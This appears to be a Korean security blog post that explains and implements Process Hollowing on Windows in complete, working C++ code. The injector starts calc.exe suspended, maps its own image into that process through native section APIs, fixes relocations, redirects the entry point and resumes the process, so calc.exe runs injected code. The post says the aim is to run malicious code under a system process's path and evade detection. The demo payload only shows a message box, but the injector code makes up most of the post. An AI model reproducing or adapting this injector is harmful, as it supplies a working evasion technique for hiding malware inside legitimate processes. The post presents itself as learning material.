※ 본 글의 목적은 정보보안 학습 및 연구에 있습니다. 기술의 불법적 사용은 금지되며, 그로 인한 결과는 사용자 본인에게 책임이 있습니다.
Process Hollowing 기법을 구현한다. Process Hollowing 기법은 프로세스를 중단된 상태로 생성하고 해당 프로세스를 Hollowing 시켜서(텅 비워서) 원하는 코드를 대체하여 실행하는 기법이다. 이 기법을 통해서 다음의 이점을 달성할 수 있다.
- 시스템 프로세스로 가장하여 악의적 코드 실행
단순 이름만을 시스템 프로세스로 가장한 것과 Process Hollowing 기법의 차이는, Process Hollowing 기법은 프로그램의 실행 경로가 시스템 프로세스와 동일하다는 것이다. 때문에 프로그램의 실행 경로가 시스템 프로세스의 실행 경로와 다를 경우의 탐지를 회피할 수 있다.
다만, 프로세스 트리에서 봤을 때 Injector의 하위에 위치하기 때문에 Blue Team 혹은 AV의 의심을 받을 수 있다.

Process Hollowing을 구현하기 위한 사전 연구는 아래 글에 작성했다. 본 글은 책의 예제 샘플을 역공학하여 구현하였다. 따라서 혹여 저작권이 문제가 된다면 이 글은 삭제될 수 있다.
# Files to create for Process Hollowing
- Injector -- Process 생성, Process Hollowing, Malware Injection
#Injector
Process Hollowing을 수행하는 주체 프로그램
Code
#include <Windows.h>
#include <Psapi.h> // K32GetModuleInformation
#include <iostream>
#include <cwchar> //wcslen
#include <string>
using NtUnmapViewOfSection_t = NTSTATUS(NTAPI*)(HANDLE, PVOID);
using NtCreateSection_t = NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
using NtMapViewOfSection_t = NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
using NtClose_t = NTSTATUS(NTAPI*)(HANDLE);
using NtQueryInformationProcess_t = NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG, PULONG);
using NtSuspendProcess_t = NTSTATUS(NTAPI*)(HANDLE);
NtUnmapViewOfSection_t NtUnmapViewOfSection = nullptr;
NtCreateSection_t NtCreateSection = nullptr;
NtMapViewOfSection_t NtMapViewOfSection = nullptr;
NtClose_t NtClose = nullptr;
NtQueryInformationProcess_t NtQueryInformationProcess = nullptr;
NtSuspendProcess_t NtSuspendProcess = nullptr;
struct PROCESS_BASIC_INFORMATION {
PVOID R1;
PVOID PebBaseAddress;
PVOID R2[2];
ULONG_PTR UniqueProcessId;
PVOID R3;
};
int __crtLoadNtApiPointers() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
NtUnmapViewOfSection = reinterpret_cast<NtUnmapViewOfSection_t>(
GetProcAddress(hNtdll, "NtUnmapViewOfSection")
);
if (!NtUnmapViewOfSection) {
std::cerr << "Failed to resolve NtUnmapViewOfSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtCreateSection = reinterpret_cast<NtCreateSection_t>(
GetProcAddress(hNtdll, "NtCreateSection")
);
if (!NtCreateSection) {
std::cerr << "Failed to resolve NtCreateSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtMapViewOfSection = reinterpret_cast<NtMapViewOfSection_t>(
GetProcAddress(hNtdll, "NtMapViewOfSection")
);
if (!NtMapViewOfSection) {
std::cerr << "Failed to resolve NtMapViewOfSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtClose = reinterpret_cast<NtClose_t>(
GetProcAddress(hNtdll, "NtClose")
);
if (!NtClose) {
std::cerr << "Failed to resolve NtClose from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtQueryInformationProcess = reinterpret_cast<NtQueryInformationProcess_t>(
GetProcAddress(hNtdll, "NtQueryInformationProcess")
);
if (!NtQueryInformationProcess) {
std::cerr << "Failed to resolve NtQueryInformationProcess from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtSuspendProcess = reinterpret_cast<NtSuspendProcess_t>(
GetProcAddress(hNtdll, "NtSuspendProcess")
);
if (!NtSuspendProcess) {
std::cerr << "Failed to resolve NtSuspendProcess from ntdll - " << GetLastError() << std::endl;
return 0;
}
return 1;
}
int __crtRelocate(PVOID sectionBaseAddr, PVOID calcSectionBaseAddr, PVOID imageBase) {
uint8_t* base = reinterpret_cast<uint8_t*>(sectionBaseAddr);
PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
PIMAGE_NT_HEADERS nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dosHeader->e_lfanew);
DWORD relocRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (relocRVA == 0) return 0;
DWORD relocSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
PIMAGE_BASE_RELOCATION reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(base + relocRVA);
while (relocSize > 0 && reloc->SizeOfBlock > 0) {
unsigned int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* entry = reinterpret_cast<WORD*>(reloc + 1);
for (int i = 0; i < count; i++) {
if ((entry[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
DWORD addrRVA = reloc->VirtualAddress + (entry[i] & 0xFFF);
DWORD* patchAddr = reinterpret_cast<DWORD*>(
reinterpret_cast<uint8_t*>(sectionBaseAddr) + addrRVA
);
*patchAddr += (DWORD)((uintptr_t)calcSectionBaseAddr - (uintptr_t)imageBase);
}
}
relocSize -= reloc->SizeOfBlock;
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(
reinterpret_cast<uint8_t*>(reloc) + reloc->SizeOfBlock
);
}
return 1;
}
void myCode() {
MessageBox(0, L"(・⊝・)▷", L"Pumpkin Potato", MB_OK | MB_ICONWARNING);
return;
}
int main() {
std::wstring cmd = L"calc.exe";
// Load Native Apis
if (!__crtLoadNtApiPointers()) {
std::cerr << "Failed to resolve NtApis" << std::endl;
return 1;
}
STARTUPINFOW si = {};
si.cb = sizeof(si);
PROCESS_INFORMATION pi = {};
if (!CreateProcessW(NULL, &cmd[0], NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
std::cerr << "Error in CreateProcessW - " << GetLastError() << std::endl;
return 1;
}
std::cout << "Created \'calc.exe\' process in suspended mode. Press Enter to continue" << std::endl;
std::cin.get();
// Get current process information
HMODULE hModule = GetModuleHandle(NULL);
if (!hModule) {
std::cerr << "Failed to obtain handle for current process - " << GetLastError() << std::endl;
return 1;
}
MODULEINFO mi = { 0 };
if (!K32GetModuleInformation(GetCurrentProcess(), hModule, &mi, sizeof(mi))) {
std::cerr << "Error in K32GetModuleInformation - " << GetLastError() << std::endl;
return 1;
}
// Create Section
HANDLE hSection = nullptr;
LARGE_INTEGER maxSize;
maxSize.LowPart = mi.SizeOfImage;
maxSize.HighPart = 0;
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
nullptr,
&maxSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
nullptr
);
if (status != 0) {
std::cerr << "NtCreateSection failed. Status: " << status << std::endl;
return 1;
}
// MapViewOfSection for Injector
PVOID baseAddr = nullptr;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&baseAddr,
0,
0,
nullptr,
&viewSize, // 0: 전체 매핑
2, // ViewUnmap
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
std::cerr << "NtMapViewOfSection failed. Status: " << status << std::endl;
NtClose(hSection);
return 1;
}
// MapViewOfSection for calc.exe
PVOID cBaseAddr = nullptr;
status = NtMapViewOfSection(
hSection,
pi.hProcess,
&cBaseAddr,
0,
0,
nullptr,
&viewSize,
2, // ViewUnmap
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
std::cerr << "NtMapViewOfSection failed in Calc.exe. Status: " << status << std::endl;
NtUnmapViewOfSection(GetCurrentProcess(), baseAddr);
NtClose(hSection);
return 1;
}
memmove(baseAddr, mi.lpBaseOfDll, mi.SizeOfImage);
__crtRelocate(baseAddr, cBaseAddr, mi.lpBaseOfDll);
std::cout << "Created New Memory Map and View." << std::endl;
std::cout << "Injector: " << baseAddr << " Hollowed calc.exe: " << cBaseAddr << std::endl;
std::cout << "Press Enter to continue" << std::endl;
std::cin.get();
NtUnmapViewOfSection(GetCurrentProcess(), baseAddr);
NtClose(hSection);
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_INTEGER | 0x10000;
if (!GetThreadContext(pi.hThread, &ctx)) {
std::cerr << "Error in GetThreadContext - " << GetLastError() << std::endl;
return 1;
}
uintptr_t base = reinterpret_cast<uintptr_t>(cBaseAddr);
intptr_t diff = reinterpret_cast<char*>(myCode) - reinterpret_cast<char*>(mi.lpBaseOfDll);
ctx.Eax = static_cast<DWORD>(base + diff);
if (!SetThreadContext(pi.hThread, &ctx)) {
std::cerr << "Error in SetThreadContext - " << GetLastError() << std::endl;
return 1;
}
if (ResumeThread(pi.hThread) == (DWORD)-1) {
std::cerr << "Error in ResumeThread - " << GetLastError() << std::endl;
return 1;
}
std::cout << "Process Hollowing Success" << std::endl;
std::cin.get();
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Process Hollowing을 통해 calc.exe를 생성하여 실행했어도 계산기 대신 메세지 창을 띄운다.

Process Hollowing 주요 API 흐름
- Load NT APIs
GetModuleHandle -> GetProcAddress
- Process Hollowing ※Blue represents Target; Orange represents Injector
CreateProcess -> GetModuleHandle -> K32GetModuleInformation (To Get SizeOfImage and lpBaseOfDll) -> NtCreateSection -> NtMapViewOfSection -> NtMapViewOfSection -> (Relocation) -> GetThreadContext -> SetThreadContext -> ResumeThread
TEB 수정
Eax 레지스터 값이 필요하므로 Flag를 CONTEXT_INTEGER로 설정한다.
실행할 함수 주소를 Target 메모리 맵 Base 주소에 맞게 수정해서 Eax 레지스터 값으로 설정한다.
그 이유는 중단된 프로세스의 Eax 레지스터 값에 Entry Point가 들어있기 때문이다.

# 최종 실행

Process Hacker 2 도구를 이용해 Process Hollowing이 잘 수행되었는지 확인 할 수 있다.
먼저, 계산기를 중단된 상태로 실행하는 부분을 볼 수 있다.

그 다음으로 Injector와 calc.exe에 섹션과 뷰를 생성하여 뷰에 Injector의 메모리 이미지를 넣은 것을 볼 수 있다.

마지막으로 중단된 쓰레드를 실행시키면 계산기가 아닌 주입된 메모리 이미지의 특정 함수가 실행된 것을 볼 수 있다.

글 읽어주셔서 감사합니다. 배우는 과정이라 혹시 잘못된 부분이나 부족한 부분이 있으면 알려주시면 감사합니다.
'Offensive Security: Malware Tradecraft > Technique Implementation' 카테고리의 다른 글
| Process Hollowing 구현 방법 연구 (0) | 2025.09.15 |
|---|---|
| Classical DLL Injection (0) | 2025.09.11 |